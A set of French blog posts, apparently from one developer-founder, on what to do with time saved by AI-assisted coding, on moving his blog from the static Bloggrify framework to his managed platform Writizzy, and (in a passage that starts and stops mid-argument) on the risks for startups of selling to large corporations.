Et je me suis effectivement posé la question. J’ai une réponse de mon côté, que je vais vous partager. Mais je suis bien conscient que mon cas est particulier. Donc je voulais creuser un peu et je me suis rendu compte d’un truc : ce n'est pas gagner du temps qui devrait vous préoccuper. C'est : ça change quoi pour vous ?

Est-ce que vous bossez moins, plus, différemment ?

Quel est l’impact dans une grosse boîte ? Ou pour un(e) freelance ?

Bref, ++si++ une personne gagne du temps, à quoi ça lui sert ? 

Un gain de temps discutable ?

Bon déjà, pour être complet sur la question et surtout prendre du recul, une ++étude récente du METR++ (Model Evaluation & Threat Research) montre que ce gain de temps ne serait pas si évident que ça. 

L’étude montre que des développeurs expérimentés sur une base de code historique serait 20% plus lent avec l’IA, lié en grande partie aux cycles de relectures. 

Il faut prendre l’étude avec des pincettes puisqu’il s’agit d’un panel de 16 personnes. Il faut aussi comprendre le contexte, on parle de devs experts sur une base de code importante et complexe. 

Je ne vais pas m’attarder sur cette étude parce que je peux aussi en trouver d’autres qui disent l’inverse. Mais je trouvais plus honnête intellectuellement de la citer histoire d’équilibrer le débat et surtout de lui faire prendre de la hauteur.

L’idée ici, c’est qu’on ne va pas partir du principe que forcément l’IA nous fait gagner du temps. Je ne veux pas rentrer dans ce débat. A la place on va faire complètement abstraction de l’IA et juste considérer une hypothèse : 

Imaginons qu’une personne aille 20, 30% plus vite, voire même 10x plus vite pour produire du code, qu’est ce qui se passe ? Si la production logicielle devient moins couteuse, quel est l’impact sur le métier de développeur ? Qu’est-ce qu’on peut faire de ce temps gagné ?

Cette hypothèse est loin d’être débile. Aujourd’hui on se focalise sur l’IA mais le métier a radicalement changé depuis le temps où on devait cabler un ordinateur pour le programmer. On n’a eu de cesse d’améliorer la productivité. Et nos successeurs ne bosseront sans doute pas comme nous. 

Une opportunité pour les créateurs de produit

Je suis un cas particulier donc ma réponse ne s’applique pas à la grande majorité des gens. 

Je bosse à 2 sur un produit récemment créé. J’ai pas de contraintes productivistes, pas de salaire, personne à qui rendre compte.  

Je gère mon temps comme je le veux. Si jamais je finis une tâche en 1h plutôt qu’une semaine, j’ai juste le droit d’arrêter de bosser et faire autre chose. J’ai pas d’obligation d’empiler les heures pour pointer en fin de journée.

Bien sûr j’ai quand même une certaine pression, faut que le produit soit bon et adopté. Je surveille le nombre de nouveaux utilisateurs chaque mois, la croissance du chiffre d’affaires, les retours aussi qu’on me fait par email. Mais justement, pour mon cas, c’est une bonne chose d’avoir du temps supplémentaire.

Je peux répondre aux emails en y passant plus de temps. Je peux faire des analyses plus poussées, sur mon marché et les feedback utilisateurs. 

Bref, je le vie comme une opportunité.

Là où avant le “technical founder” passait tout son temps à coder le produit et vivait la tête dans le guidon avec un gros handicap pour penser long terme sur le produit, gagner du temps me permet de rééquilibrer la balance.

J’adore coder. Mais coder me prenait du temps de cerveau sur la stratégie.

Ce n’est plus le cas.

Je peux passer plus de temps sur le pourquoi, et pas le comment.

Du temps pour améliorer le produit, pas juste le complexifier

Le temps a toujours été une ressource rare dans la construction de logiciel et d’entreprise. Quand je gagne du temps je peux le passer à plein d’autres choses pour le produit, améliorer la documentation utilisateur par exemple, ou améliorer le harnais de test pour m’épargner des futurs problèmes. 

Je peux passer du temps sur des bugs que je vois passer dans les logs ou des petites pétouilles que j’avais vu dans l’interface mais que dans un autre contexte j’aurais repoussé à plus tard.

Vous avez tous en tête le symptôme de ce backlog jira infini et dans lequel on met des petites fiches d’amélioration. Ces fameux “on verra plus tard” qui sont surtout là pour nous donner bonne conscience ou pour satisfaire la personne du support qui nous en a parlé. 

“T’as vu regarde, c’est dans notre TODO list. Bon, faudra 15 ans pour dépiler cette fiche mais c’est dedans…”

Pour moi ça n'existe plus. Les petits soucis comme ça, je les empile par douzaines et le produit progressivement devient meilleur. 

Si on reprend l’analogie financière de la dette technique. A partir du moment où le code me coûte moins cher, le remboursement se fait au fil de l’eau, ce qui diminue le coût de la dette (les intérêts). 

Du temps pour se former

Depuis que j’ai moins de temps à passer sur le code, j’ai pu passer beaucoup plus de temps à réfléchir aux problèmes à résoudre. Et pour ça, j’ai pris plus de temps pour m’éduquer.

Avant j’étais pressé par le temps donc j’étais obligé de faire des raccourcis. Mais récemment j’ai pu me documenter et écrire des articles sur++ l’état de l’art autour des questions de modérations sur les plateformes de contenu++, je me suis penché sur le fonctionnement des attributions de certificats SSL, le fonctionnement des proof of work sur les captcha. J’ai creusé des sujets comme la ++parité de pouvoir d’achat++.

Et puis, aussi surprenant que ça paraisse, j’ai tout simplement lâché le clavier.

Souvent dans mes journées types, je passe du temps loin de l’écran. J’ai amélioré ma technique sur les bouillons pour les ramen, j’ai fait plein de bricolage et j’ai commencé à construire des meubles pour la maison. 

Et paradoxalement, ce temps m’aide aussi à construire mes produits. 

Vous avez déjà remarqué que vous résolviez souvent des problèmes complexes sous la douche ? 

Glander favorise la créativité.

J’ai mis du temps ++à l’accepter++ mais laisser son cerveau se reposer. Le laisser incuber une idée et vagabonder pendant qu’on fait autre chose, c’est un excellent stimulant pour résoudre des problèmes. 

Bien sûr, je sais que mon cas est spécifique. Je me vois mal démarrer une séance de menuiserie dans un open space au milieu d’une équipe de dev. Mais pour mon cas, gagner du temps sur du dev, c’est un rééquilibrage global de mes journées et paradoxalement, un travail de meilleure qualité qui est produit. 

Parce que le sujet n’a jamais été “que” de faire du code mais aussi de réfléchir au long terme, ce qui est plus simple quand on a le temps pour le faire.

Maintenant évidemment, je me doute que c’est un peu différent dans un contexte plus traditionnel. Alors je me suis documenté pour voir ce qu’on en disait ailleurs.

Productivité et burnout : le vrai coût

Une des premières réponses provient ++d’une étude de la Harvard Business Review++. L’augmentation de la productivité ne conduirait pas à une réduction du temps de travail, mais à une intensification. 

Le travail deviendrait plus intense pour plusieurs raisons : 

• l’IA supprimerait les pauses cognitives. Et oui, puisqu’il serait plus rapide de démarrer un sujet avec l’IA, on perdrait le moment de pause qui existe normalement au début de chaque projet pendant lequel on se demande comment faire. 
• l’IA gommerait les frontières entre métiers. Je me sentirais plus capable de faire du front, du design, de l’ops, du back, du mobile et donc mon périmètre de travail explose
• La gratification étant plus fréquente, on serait incité à continuer sans arrêt. Si vous faites 10 tickets par jour et que chaque ticket est rapide, pourquoi ne pas faire le 11eme ? Un petit prompt avant de fermer l’écran ?

Sauf que cette intensification vient avec un prix élevé : la fatigue, le burnout, les erreurs (parce que, quand on est fatigué on laisse passer plus de choses).

Je suis tombé sur un article qui parle exactement de ce sujet et qui compare++ l’IA à un vampire++ qui drainerait notre énergie. 

L’idée est simple, comme l’IA prend en charge toutes les tâches simples et répétitives, qui servaient autrefois de pause cognitive, il nous reste essentiellement les tâches de haut niveau, les décisions critiques.

Or nous ne sommes pas capables de prendre ce type de décision constamment pendant 8h par jour. C’est beaucoup trop intense.

C’est pour ça que, personnellement, soit je m’éloigne de l’écran une partie de la journée, soit j’y fais des activités plus récréatives : écrire un article (ce qui explique que j’écrive plus qu’avant ^^), ou me former. Et c’est d’ailleurs la recommandation de l’article, il faut trouver un nouvel équilibre.

Je ne sais pas dans quelle mesure l’article est sincère mais c’est ce qui semble être ++l’approche chez Github++. Ils ont utilisé le gain de temps, non pas pour augmenter drastiquement la productivité mais pour d’autres types de tâches, la collaboration, la réflexion. 

Faire plus ≠ Faire mieux

De toute façon, il y a une limite physique à ce que les utilisateurs finaux peuvent encaisser en termes de nouvelles fonctionnalités par jour.

C’est pas parce qu’on peut produire 10x plus de nouvelles features que c’est bénéfique pour l’utilisateur final. 

C’est ce qu’on appelle la loi de Tesler, ++la loi de conservation de la complexité++. Dans un système, il existe une quantité de complexité qu’on ne peut pas réduire. Si on la réduit quelque part, par exemple pour les développeurs qui vont plus vite, elle se répercute ailleurs, pour les utilisateurs qui doivent s’adapter à un logiciel qui évolue beaucoup trop vite. 

On s’expose aussi au risque de “feature fatigue” qui rend les logiciels trop complexes, car trop complets. C’est souvent une bonne chose d’être forcé à faire des choix. 

Bref, ce n’est dans l’intérêt de personne d’augmenter la cadence et il est préférable que les gains de productivité se reflètent davantage dans des features mieux pensées ou une augmentation du travail fait sur la qualité “invisible”. 

Quand la productivité crée l'ennui

Maintenant il y a un scénario qui me semble aussi important à mentionner. Il y a beaucoup de gens qui bossent dans des entreprises où aller plus vite ne changera absolument rien. Parce que ces entreprises luttent davantage contre leur propre inertie que contre un quelconque défi produit. 

J’ai bossé en grosse boite. Et je me rappelle très bien d’une mission en 2003 où coder n'était juste pas le sujet.

Je venais d’un job précédent ou c’était plutôt dynamique. J’étais habitué à un certain rythme. Dans ce nouveau job, on m’a donné un programme à faire. Je l’ai réalisé en 2 jours. Je suis retourné voir mon boss de l’époque. Il m’a dit qu’on en rediscuterait 3 semaines plus tard. En un an, j’ai presque rien produit et c’est sans doute la pire année de ma carrière. 

Le matin t’avais des gens qui passaient pour dire qu’il y aurait des réunions sur tel ou tel sujet et demandait qui voulait participer. Je ne comprenais pas pourquoi tout le monde y allait constamment.

Mais après j’ai compris. C’était pour occuper les journées. 

Si j’avais mis 1h pour faire mon travail plutôt que deux jours, je me serais juste ennuyé plus longtemps. 

Je savais qu’on pouvait faire des burnout. Mais là bas j’ai failli faire un bore out. Et puis j’ai commencé à me former en parallèle sur tout ce que je voulais. J’ai rentabilisé ce temps.

Mais je vous cache pas que j’étais heureux comme pas possible quand la mission s’est arrêté…

Bref, il y a des endroits où coder plus vite, ça ne changera rien. Les pauses café seront juste plus longues…

Freelances : du temps passé à la valeur produite

Maintenant il y a une population pour laquelle je me pose encore pas mal de questions. 

Partons toujours du scénario où le coût du code s’effondre, que deviennent les personnes qui facturent au temps passé ?

On pourrait imaginer qu’une partie de cette population ne va pas forcément crier sur tous les toits qu’elle a terminé son job plus rapidement, puisque ça impliquerait de perdre de l’argent.

Est-ce que c’est tenable sur le long terme, d’autant plus pour un freelance qui travaille dans les locaux du client, donc à la vue de tous ? Dans les grands groupes dont je parlais tout à l’heure, oui certainement. Mais ça ne tiendra jamais dans une entreprise dont les développeurs aussi utilisent les mêmes outils pour aller plus vite.

Et c’est là où je me demande si le forfait, la facturation au résultat, ne pourrait pas devenir plus avantageux que la facturation au temps passé.

Habituellement j’ai plutôt tendance à déconseiller l’engagement de résultat, surtout sur des freelances plus jeunes parce c’est pas si simple que ça de contractualiser correctement et de savoir poser des limites ou tout simplement de savoir estimer un travail avant de le réaliser. 

Mais si l’IA permettait de sécuriser le développement, et de le rendre plus rapide, le forfait pourrait regagner de l’intérêt.

Il ne s’agirait plus de facturer du temps, mais de la valeur. 

Je n’aurais aucune réserve à faire payer une certaine somme pour un travail qui a de la valeur, même si j’y passais seulement 1 ou 2 jours. 

J’ai travaillé pendant 25 ans pour être capable de donner ce résultat en 2 jours. Un client paie votre expérience, et votre capacité à utiliser des outils. Peu importe que vous soyez plus rapide. 

Au pire je pourrais baisser un peu mes prix mais mon risque se paie aussi quand je facture sur un engagement de résultat. 

Malgré tout, je ne sais pas si ce raisonnement tiendra dans la durée. Des concurrents tout aussi bons que moi pourraient s’engager avec plus de clients pour compenser une perte, et donc faire baisser les prix sur un contrat unitairement.

Je suis tombé sur ++un article qui parle un peu de ça++. Sa conclusion étant que les freelances experts vont continuer à s’en sortir mais les besoins vont diminuer. D’autant que leurs clients eux-mêmes vont aussi se mettre à faire du dev si le coût du code diminue.

Une des conclusions de l’article dit par contre que l’IA ne remplacera pas le freelance, mais que **le freelance utilisant l'IA remplacera celui qui ne l'utilise pas. **Et c’est sans doute la leçon la plus importante.

Conclusion

Encore une fois, la question n’était pas, est-ce que l’IA nous rend plus rapide. La vraie question dont je voulais discuter c’était “qu’est ce qu’on fait du temps gagné ?”.

La réponse dépend de votre contexte.

Si vous êtes dans une boîte sclérosée où coder plus vite ne change rien, vous vous ennuierez plus vite. Si vous êtes product-focused et que vous avez la liberté de piloter votre temps, c'est une opportunité incroyable de reprendre du recul sur votre produit. Si vous êtes freelance, c'est peut-être le moment de négocier différemment.

Mais il y a une limite importante : la productivité ne fait sens que si elle crée de la valeur. Débiter 10x plus de features, c'est peut-être pire pour vos utilisateurs. Gagner du temps c’est bien mais ça ne vaut quelque chose que si vous savez quoi en faire.

Bref, il n'existe pas une seule réponse. Mais par contre vous allez peut-être gagner du temps pour trouver cette réponse.

C'est globalement similaire à Hugo, ça permet de générer un blog statiquement (c'est juste un ensemble de fichiers html) puis de l'héberger ensuite, souvent gratuitement, que ce soit sur Cloudflare, GitHub, bunny.net etc...

J'étais passé auparavant par Wordpress, Joomla, Medium et j'avais envie de retrouver une certaine souplesse d'utilisation, pouvoir customiser le blog comme je voulais.

La vérité c'est certainement aussi que je suis développeur et que j'avais envie aussi d'en faire un terrain de jeu.

Et pourtant en 2026, j'avoue qu'un blog statique ça me freine beaucoup pour écrire, j'ai donc décidé de migrer à nouveau vers un blog managé : Writizzy, un autre produit que je construis.

Bref c'est l'occasion de parler de plein de sujets :

• le dogfooding : pourquoi il faut absolument utiliser ses propres produits
• pourquoi c'est dur de faire de l'open source (une des raisons)
• la satisfaction de construire un produit vraiment utilisé
• l'avenir de tous les projets, bloggrify, writizzy, mais aussi hakanai.io

Bloggrify : Quand mon blog était mon terrain de jeu technique

Bloggrify, c'est, avant tout, un coup de cœur pour l'écosystème Nuxt et notamment Nuxt-content. Vous pourrez retrouver mes critères de choix à l'époque quand j'ai migré la première fois depuis Wordpress, mais en simplifiant je listerais :

• un langage de templating simple (markdown)
• extensible (pour gérer un flux rss, un sitemap, etc...)
• le prix
• l'impact carbone (un site statique ca consomme peu)

En réalité en 2022 c'était pas encore un "produit" open source dans le sens ou c'était simplement mon blog qui était accessible à tout le monde. C'est devenu un produit open source, avec un vrai site, un README pour inciter aux contributions etc... à part entière uniquement en 2024.

A ce moment là j'avais acquis quelques convictions, il fallait que le produit soit "opinionated", c'est à dire qu'il vienne avec tout un tas de choix déjà fait pour que ce soit le plus simple possible à utiliser.

Nuxt-content fait 90% du boulot mais ça reste un outil un peu générique donc pour un blog il fallait encore rajouter pas mal de choses :

• le flux rss
• le sitemap
• la gestion du robots.txt
• les commentaires
• la gestion des tables de matière
• les boutons de partage
• une newsletter
• de l'analytics
• le SEO

etc...

C'est ça Bloggrify. C'est une sorte de starter pack pour démarrer un blog avec Nuxt-content mais en ayant déjà tout de configuré. C'est la même chose que docus, mais pour un blog. Docus étant un starter pack pour démarrer une documentation à partir de Nuxt content.

Des étoiles Github sans utilisateur

Je suis plutôt joueur. Si je fais une application ou un projet open source, j'aime bien voir des chiffres pour être sur que c'est utilisé. J'aime voir qu'il y a un usage. C'est bête mais vu l'effort que ça nécessite de faire des releases sur npm (c'est un enfer ce truc), de gérer les montées de version, de créer des themes, qui doivent eux-mêmes être mis à jour en fonction des versions du core etc... Forcément on attend un minimum de résultats.

Le projet a eu 164 stars sur GitHub, il est placé vers le milieu de tableau sur jamstack, ce qui est... bien, mais sans plus.

Par contre, j'ai quasiment 0 échos de son usage. J'ai eu quelques rares issues sur GitHub, un contributeur qui a été actif quelques semaines avant de disparaitre, et puis plus rien.

Je connais un seul blog qui l'a utilisé, avant de repartir sur hugo.

Donc au final, l'expérience est plutôt mitigé. Je suis complètement dans le brouillard quand à son usage. Ca me rajoute du boulot pour mon blog, sans que je sois sûr que ca serve à d'autres. Donc... comment dire. Au bout d'un moment ca démotive un peu.

Tout n'est pas noir, ça m'a permis par contre aussi de lancer d'autres produits :

• broadcast.hakanai.io : un système de newsletter pour blog statique qui s'appuie sur le flux RSS du site
• pulse.hakanai.io : un système de blog analytics qui est vraiment construit pour du blog et pas juste des web analytics standard.

C'est des plugins qu'on peut activer dans Bloggrify.

La construction de SAAS

Les deux produits, broadcast et pulse, ont été lancés en 2024 et 2025 respectivement. Ils vivent une petite vie tranquille mais ne font pas d'étincelles. La cible c'est les bloggeurs qui utilisent des sites statiques, autrement dit, des développeurs. Et autant vous dire que c'est la population qui est la moins prête à payer pour un service :)

Malgré tout, je suis quand même très satisfait, ces deux produits m'ont permis d'apprendre beaucoup de choses sur la construction d'un SAAS, la facturation par abonnement, la stack la plus efficace pour moi etc...

Je les utilise moi-même très régulièrement, les newsletters de mon blog étaient envoyés via broadcast. Il y a environ 150 abonnés qui ont décidé de s'abonner pour recevoir les articles dans leur boite aux lettres. Et j'ai pu utiliser pulse pour suivre les origines du traffic sur mon blog, voir quels sont les articles qui ont le mieux marché, ceux qui sont les plus lus, ou pas etc...

Encore une fois, j'aime les chiffres ^^

Par contre la réalité c'est que ces deux softs font environ 100 euros de MRR par mois, donc c'est pas là dessus que je dois compter pour assurer ma retraite.

Mais tout ça nous amène à Writizzy.

Writizzy

Avec Bloggrify je me suis quand même rendu compte que mon workflow d'écriture était devenu un peu pénible. Entre la maintenance du framework lui-même, mes allers/retours dans des outils pour la correction orthographique, l'écriture en markdown, le lancement du serveur pour vérifier que tout va bien et que j'ai cassé aucun lien, la compilation et le temps de déploiement, au final j'y perdais un temps fou.

Pour mon dernier article, on m'a signalé des fautes d'orthographes, j'ai du mettre presque 20 minutes entre l'édition et le déploiement pour effectuer les corrections.

Et je parle même pas de la gestion des images qu'il faut gérer dans Intellij, ou de la montée de version Nuxt 4 et Nuxt content qui ont pas mal ralenti tout ça avec une expérience développeur un peu moins bonne. Je reste amoureux de ces outils mais je les trouve moins adapté pour un blog vu les temps de lancement et/ou de compilation.

Pour être franc, j'étais pas conscient de ça. Je subissais ces inconvénients et je restais très content d'avoir de la "flexibilité" sur ce que je pouvais faire avec mon blog.

Et puis j'ai créé Writizzy. Writizzy c'est la synthèse de toute mon expérience de blogger. C'est un mix entre Substack, ghost, medium mais en essayant de résoudre tout les problèmes de chacun. C'est aussi construit comme une alternative européenne avec plusieurs préoccupations en tête :

• la durabilité, incluant des sujets de réversibilité et interopérabilité
• la découvrabilité
• l'accessibilité économique (la parité de pouvoir d'achat)
• la transparence (via ce blog notamment)

J'ai rapidement mis mon blog anglophone dessus mais je prévoyais absolument pas d'y mettre eventuallycoding.com.

Sauf que rapidement j'ai commencé à réaliser que j'écrivais beaucoup plus rapidement sur mon blog anglais. J'ai pris conscience de la pénibilité de mon workflow sur mon blog statique en utilisant Writizzy. La gestion des images c'est du bonheur puisque je peux copier coller mon image dans le texte. Tout est géré. J'ai une preview directe, sans lancer de serveur. Je vais prochainement ajouter un outil pour le check orthographique, donc ce sera encore une épine dans le pied en moins. Bref, c'est pratique.

Et c'est pourquoi j'ai fini par décider de migrer sur Writizzy. Ce qui pose maintenant une question : l'avenir de Bloggrify.

L'avenir de mes projets

J'ai longuement hésité à migrer eventuallycoding.com parce que je me suis dit que c'était aussi prendre le risque de tuer Bloggrify. Si même moi je l'utilise plus, ça devient risqué. Quand on utilise pas soi-même son produit, ou qu'on n'est pas obnubilé par le problème qu'il résoud, c'est quasi impossible de réussir à s'y attacher.

C'est un peu le symptôme de beaucoup de projets jetables que je vois passer sur internet. C'est fait par des gens qui papillonnent mais qui n'ont aucun attachement à leur produit. Donc oui, ne plus utiliser Bloggrify, c'est risqué.

Mais je crois que je me suis fait à l'idée. Aujourd'hui j'ai très peu d'indices me permettant de savoir si Bloggrify est utilisé. Alors que Writizzy a déjà 314 blogs, 11 utilisateurs payants (ce qui fait 135 euros de MRR), en 4 mois. Pourquoi s'acharner sur Bloggrify ? Et de toute façon, je pense que je résous le même problème avec Writizzy, mais d'une meilleure façon.

J'ai des mails de feedback ou de demandes d'évolution toutes les semaines, et j'ai plein de retours positifs par les gens qui l'utilisent. Le produit est pas parfait mais tous les jours il s'améliore. Il s'améliore parce que j'ai des retours de vrais utilisateurs, ce qui me motive constamment à peaufiner le site, fixer les trucs qui vont pas, ajouter les features qui devraient absolument être là.

Et il s'améliore aussi parce que je l'utilise beaucoup. C'est un énorme bénéfice et c'est ce qu'on appelle le dogfooding. Tous les jours je suis confronté au logiciel, donc je sais ce qu'il faut changer.

Donc oui, Bloggrify va passer en mode maintenance. Je vais en profiter pour passer tout les templates en open source. Il y en avait 2 qui étaient "premium" mais ça n'aurait pas de sens de les laisser tel quel aujourd'hui.

Je me dis que je le ferais évoluer de temps en temps mais j'avoue que je me demande si je me mens pas un peu à moi-même ^^

Pour Hakanai.io par contre, là c'est certain que je continue. Il y a un problème à résoudre qui continue de m'intéresser. J'ai des retours positifs, enfin surtout sur Broadcast. Pulse a le gros inconvénient d'être mal compris. C'est un produit qui fait du blog analytics, et personne comprend ce que ça veut dire. Il y a des conseils SEO, de la détection d'outlier, de content evergreen. Mais je suis pas très bon sur le marketing donc globalement il passe assez inaperçu hormis parmi les lecteurs de ce blog qui ont fait l'effort de le tester.

Mais en tout cas je suis motivé pour les garder.

Quand à Writizzy, il est évident qu'il n'y a aucun doute. Le produit est super intéressant à construire. Les enjeux sont vraiment sympas (construire une plateforme d'expression hors des plateformes américaines). Il y a des retours positifs et des chiffres qui vont avec (+45% de croissance users MoM).

Bref, je vous souhaite la bienvenue sur ce blog, désormais sur Writizzy. Et vous pouvez tester déjà plein de choses en tant que lecteur :

• la section commentaire
• vous inscrire à la newsletter si ce n'est pas déjà fait
• lire d'autres articles de blog créé par des bloggeurs sur Writizzy, on en a sélectionné quelques uns pour apparaître sur le feed discover. Feed qui deviendra plus customisable dans le futur :)

Bienvenue.

J'ai plus le détail en tête, mais avec le recul et sans doute beaucoup d'exagération, je dirais que c'était comme Gather mais avec 15 ans d'avance. L'application semblait bien marcher et la boite enchainait les rendez-vous avec des grosses boites qui semblaient super intéressés pour déployer ça à l'échelle de l'entreprise. On parle de grandes banques, de grands fournisseurs d'énergie, des boites vraiment sérieuses. Sauf que ça a trainé, un mois, un trimestre, un an, puis deux. Et finalement la boite est morte à attendre une vraie signature et un peu de cash accessoirement.

Mon ami a malheureusement buté dans le fameux syndrome des B2BigB, ce mal (français ?) qui a tendance à tuer beaucoup d'entreprises tous les ans.

Alors si vous créez une boite aujourd'hui ou que vous souhaitez le faire, je vous invite à réfléchir à deux fois avant de privilégier ce segment et c'est de ça dont on va parler aujourd'hui.

B2BigB

Déjà, il faut que je définisse cet acronyme. Dans le monde de l'entreprise, on a tendance à segmenter les boites en fonction des clients qu'ils visent :

• B2C (pour Business to Consumer), c'est le grand public.
• B2B (pour Business to Business), c'est la vente aux entreprises

Par exemple, Netflix, c'est du B2C et Jira c'est du B2B.

Au milieu de tout ça vous avez plein de nuances, Microsoft qui vend en B2C et en B2B par exemple. Vous avez des plateformes de C2C (échanges entre particuliers).

Mais on va rester simple, et on va juste parler de B2C et B2B.

Sauf que "B", c'est large. Entre une boite de 5 personnes et un grand groupe de 40 000 personnes, autant vous dire que la façon de vendre aux deux est très différente. Et dans cette catégorie, il y a la catégorie de la mort : les grands groupes. Difficile de vraiment dire quand commence un grand groupe, mais on les reconnait facilement. Un grand groupe commence quand une prise de décision nécessite une tétrachiée de réunions, un trimestre, un steering commitee et un approval du board ou d'un département achat...

En pratique, on peut même avoir des boites de 500 personnes qui se comportent comme ça même si c'est plus fréquent à partir de 1000. Mais dans tout les cas, ça empire avec la taille. Un trimestre peut devenir 1 an, voire 2, voire 5 (et je vous jure que j'ai vu des cycles d'achat durer ce temps-là).

Bref, ça, c'est ce que j'appelle les BigB (les gros B).

Le gros avantage des BigB c'est, en théorie, la capacité à acheter cher parce qu'on parle de déploiement à l'échelle d'un grand groupe, donc de volumes qui font rêver la plupart des boites en démarrage.

Sauf que, c'est bien souvent un mirage, dès qu'on commence à regarder les couts et les marges, mais surtout, tous les risques associés.

Des couts gigantesques, des marges faibles

Travailler avec un grand groupe, c'est bien souvent synonyme de complexité et cette complexité, elle se finance avec des spécialistes.

Il faut répondre à des processus couteux (questionnaire de sécurité de 200 pages, questionnaires légaux, contrat cadre, certification ISO machin chose) qui nécessite souvent pas mal de spécialistes (juristes, experts sécu, finance etc...). Et ça, c'est juste pour entrer dans la première étape du cycle de vente.

Pour vendre à un grand groupe, il faut déjà être prêt à dépenser des fortunes.

Au passage, on pourra noter que c'est pas ce qui empêche ces grands groupes de régulièrement figurer dans la liste des data leaks du mois. Parce que non, pondre des questionnaires excel n'est pas synonyme de qualité de la sécurité.

Suite à ça vous allez rapidement tomber dans la spirale des réunions trimestrielles avec tout un tas de personnes que vous ne verrez qu'une fois dans votre vie, dont certains profiteront de leur pouvoir passager pour passer leurs nerfs et leurs lubies sur vous. Et comme vous serez en position de faiblesse, eh bien...

Ce temps, c'est du temps qui n'est pas passé sur le produit. C'est évidemment normal de passer du temps à vendre, mais on parle de réunions trimestrielles à préparer, avec des powerpoint à la Mckinsey (vous allez même parfois avoir des scales up qui font appel à des cabinets de conseil pour remplir ces documents) et qui vont nécessiter des semaines de préparation.

Encore une fois, pour vendre à un grand groupe, il faut déjà être prêt à dépenser des fortunes et à attendre des lustres.

Mais imaginons que ça y est, vous avez enfin l'aval pour déployer dans un grand groupe. Le contrat est signé. Maintenant, c'est à vous de vous débrouiller pour l'adoption. En réalité, c'est le début d'un second cauchemar.

Il s'est passé 1 an depuis le début du cycle de vente, tous vos précédents contacts ne sont plus là. C'était peut-être des prestataires qui ont quitté la boite. Ou bien des dirigeants, mais qui ont été muté dans d'autres branches du groupe. Et désormais, il faut retrouver les personnes capables de vous aider à déployer votre solution logicielle parce que sans doute que votre chiffre d'affaires dépend de l'usage qui sera fait du logiciel. Pas de déploiement, pas d'argent.

Donc il va vous falloir une équipe dédiée de commerciaux capable de naviguer dans une bureaucratie complexe pour trouver les bons contacts et peut-être même une équipe d'implémentation dédiée. Vos coùts vont exploser et vous n'aurez pas encore à ce stade touché quoi que ce soit.

Avec un peu de chance, et parce que vous avez été assez malin pour obtenir un montant à la signature, vous finirez par émettre une première facture. Celle-ci sera payé 8 mois plus tard, fin de mois. Les 3 premiers mois ayant entrainé moults incidents parce qu'il fallait signer un bon de commande et que vous avez dû passer par 3 services différents pour ça. Pas de chance, votre tréso commence à tirer la langue.

Vous arrivez au terme de la première année et là, vous aurez le département achat qui va venir vous voir pour venir renégocier le contrat, sachant pertinemment que, en théorie, ils sont vos plus grands clients donc, ce serait naturel de faire une fleur.

Bref, 2 ans plus tard, vous avez dépensé une fortune, votre trésorerie est déficitaire, et votre marge a fondu comme la neige pendant une coupe du monde de ski en Arabie Saoudite.

Bon, ok, mettons que j'exagère et que malgré tout, ce contrat vous a permis au contraire de passer un cap, d'avoir une signature importante à mettre en avant et que la vie continue pour votre startup/scaleup. En réalité, vous ne le savez pas encore, mais vous avez invité un cheval de Troie chez vous.

La perte d'innovation

Travailler avec un grand groupe, c'est accepter la complexité inhérente à cette entreprise. Si vous avez mis 2 ans à signer un contrat avec eux, imaginez bien que tout le reste prend le même temps. Votre produit doit évoluer pour leur façon de travailler. On va vous demander des workflows d'approbation à 12 niveaux, des intégrations logicielles avec des ERP, des SSO d'entreprise mal flingués, des intégrations avec des systèmes legacy des années 90. Et puis chaque boite a son jargon interne qu'on va vous demander d'ajouter de force dans votre logiciel. Vous allez facturer en unité d'œuvre, avoir un rôle "achat" dans vos schémas RBAC (les systèmes d'autorisation), bref, en réalité, vous allez développer une extension du SI de votre premier client avec toutes ces contraintes, sa complexité, sa lenteur d'accompagnement, et ses couts.

Et quand on a un client qui représente 80% de son chiffre (et même à partir de 20% en réalité ça commence à jouer), on peut difficilement dire non. C'est donc une feuille de route régulièrement hijacké par les commerciaux dédiés à ce client, et globalement un produit qui s'éloigne du marché de masse.
Et c'est normal hein, je jette pas la pierre à cette équipe. Si vous avez dédié des gens à un client, c'est normal qu'elle essaie d'influencer la façon dont on construit le produit et même si les demandes sont absurdes. Parce que cette équipe n'a pas le recul nécessaire pour juger.

Et quand la feuille de route est régulièrement détournée, c'est aussi une énorme dette liée à la personnalisation qui va finir par freiner tout le produit dans son ensemble. Ce gros client vous a peut-être permis de doubler vos effectifs. Mais les 3/4 de la boite vont finir par bosser pour lui, et vont développer une culture logicielle propre, moins de sens UX, moins de sensibilité aux performances produits (inutile de travailler sur l'acquisition ou la conversion par exemple).

Tous les logiciels grands groupes ont une UX dégueulasse, parce que c'est pas ça qui fait vendre d'une part, et parce qu'à force de perdre de l'argent dans le processus de vente, de certification et d'accompagnement, il faut bien faire des économies quelque part, souvent sur le produit qui n'est plus en réalité central dans la relation avec ce client. On tentera de vous rassurer en vous disant que non, c'est important, mais en réalité, le produit à ce moment-là est devenu un centre de coùt qu'il faut optimiser pour ne plus perdre de marge. Marge mangée par le cabinet de conseil qui vous a aidé à déterminer la stratégie de déploiement et le prix à fixer...

Mais même quand vous "améliorez" votre produit pour ce client, vous n'allez cesser de le dégrader pour tous les autres que vous pensiez attirer ensuite en mettant en avant cette prise sur votre belle landing. Parce qu'encore fois, vous allez imposer sa complexité à toutes les autres boites qui auraient pu être intéressés par vos services.

Je noircis le tableau évidemment. Et il y a des boites qui se sont spécialisées JOUR 1 sur les grands groupes, qui ont taillé leur offre commerciale en prenant en compte tous les couts associés. Les déploiements sont chiffrés à 100k, les contrats imposent un usage minimal, tout a été cadré dès le début parce que la stratégie a toujours été de s'étendre exclusivement ici.

Mais pour toutes les boites qui envisagent "juste" de faire un GrosB pour avoir une marque de validation, mais qui visent en réalité tout le marché TPE/PME et qui cherchent du volume. C'est rarement un bon plan.

Les alternatives

Au début je disais : "ce mal (français ?)". Pourquoi je dis que c'est un grand mal français ? En réalité c'est sans doute un effet loupe et je constaterai certainement la même chose dans tous les pays. Mais tous les ans, je vois des boites qui meurent après des trimestres d'attente derrière ce fameux contrat avec un grand groupe (hier encore, je discutais avec une personne qui m'a raconté la même histoire). Donc je me dis qu'il y a quand même un truc un peu différent chez nous. On aime bien être différent.

Partiellement, j'ai l'impression que c'est lié à notre taille de marché SMB (TPE/PME) qui est moins important qu'en Allemagne (le mittelstand allemand semble plus important). On passe plus vite de la TPE aux grands groupes.
